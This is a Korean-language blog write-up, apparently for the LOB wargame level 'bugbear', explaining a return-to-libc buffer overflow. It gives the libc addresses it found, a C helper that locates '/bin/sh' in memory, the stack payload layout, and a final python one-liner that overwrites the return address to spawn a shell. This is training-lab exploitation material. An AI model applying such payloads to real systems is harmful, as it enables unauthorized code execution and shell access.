System/LOB

[LOB_13]darkknight

dcho 2019. 9. 24. 11:13
SMALL

darkknight // new attacker

 

이번 bugbear의 경우에는 RTL1 이라고 힌트를 주고 있다.

gdb 디버깅하여 print system 명령어를 이용해 system()의 주소를 알아낸다.

system() 주소 : 0x40058ae0 (little endian : \xe0\x8a\x05\x40)

// rtl.c
#include <stdio.h>

int main(){    
    long system=0x40058ae0;
    while(memcmp((void *)system, "/bin/sh", 8))        
    	system++;    
    printf("%x\n",system);    
    return 0;
}

system() 함수 메모리 내의 "/bin/sh" 메모리를 검색해서 주소를 출력해 주었다. 

/bin/sh 주소 : 0x400fbff9 (little endian : \xf9\xbf\x0f\x40)

해당 프로그램의 gdb 을 통해 디스어셈블을 하여 페이로드가 들어갈 위치를 확인한다.

| buf[40] + dummy[4] | SFP[4] | system() | dummy[4] | /bin/sh |

※ "system(), execl()" 함수 등이 "ebp+8" 바이트 위치의 인자를 참고 한다.

하지만 이 페이로드는 쉘도 따지고 문제도 풀리지만 세폴트가 뜬다. 

페이로드 구성 때문에 메인 함수의 리턴 주소는 "system()" 함수가 된다. 호출되는 system() 역시 함수이기 때문에 함수 프레임이 생성이 된다.

따라서 페이로드의 더미 값이 system 함수 스택 프레임의 리턴 주소가 되고, 쉘이 따진 후 종료하기 위해

"AAAA  = \x41\x41\x41\x41"

주소로 리턴하기 때문에 오류가 나는 것이다. 따라서 이를 해결하기 위해서는 exit() 함수 주소를 더미 값에 넣으면 된다. 

exit() 주소 : 0x400391e0 (little endian : \xe0\x91\x03\x40)

| buf[40] + dummy[4] | SFP[4] | system() | exit() | /bin/sh |

./bugbear `python -c 'print "\x90"*44 + "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" +"\xf9\xbf\x0f\x40"'`

클리어! 

 

 

'System > LOB' 카테고리의 다른 글

[LOB_14]bugbear  (0) 2019.09.24
[LOB_12]golem  (0) 2019.09.24
[LOB_11]skeleton  (0) 2019.09.24
[LOB_10]vampire  (0) 2019.09.24
[LOB_9]troll  (0) 2019.09.24